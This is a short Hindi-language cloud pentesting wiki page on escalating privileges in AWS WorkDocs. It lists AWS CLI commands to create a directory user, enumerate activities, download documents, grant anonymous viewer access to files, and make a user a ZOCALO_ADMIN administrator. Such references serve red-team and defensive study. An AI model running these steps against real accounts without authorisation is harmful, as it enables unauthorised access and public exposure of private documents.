AWS - WorkDocs Privesc

Reading time: 1 minute

WorkDocs

WorkDocs के बारे में अधिक जानकारी के लिए देखें:

AWS - Directory Services / WorkDocs Enum

workdocs:CreateUser

निर्दिष्ट Directory के अंदर एक उपयोगकर्ता बनाएं, फिर आपके पास WorkDocs और AD दोनों तक पहुंच होगी:

bash
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>

workdocs:GetDocument, (workdocs:DescribeActivities)

फाइलों में संवेदनशील जानकारी हो सकती है, इन्हें पढ़ें:

bash
# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>

workdocs:AddResourcePermissions

यदि आपके पास कुछ पढ़ने का एक्सेस नहीं है, तो आप बस इसे प्रदान कर सकते हैं

bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>

workdocs:AddUserToGroup

आप एक उपयोगकर्ता को ZOCALO_ADMIN समूह में सेट करके व्यवस्थापक बना सकते हैं।
इसके लिए https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html से निर्देशों का पालन करें।

उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और /workdocs/index.html#/admin में व्यवस्थापक पैनल तक पहुँचें।

मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया।